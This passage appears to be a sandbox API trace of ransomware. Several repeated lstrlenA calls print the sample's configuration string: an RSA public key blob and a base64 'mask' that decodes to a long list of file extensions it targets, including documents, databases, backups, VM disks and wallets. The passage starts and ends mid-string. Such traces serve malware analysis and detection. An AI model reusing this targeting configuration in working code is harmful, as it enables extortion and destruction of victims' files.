LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.133] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR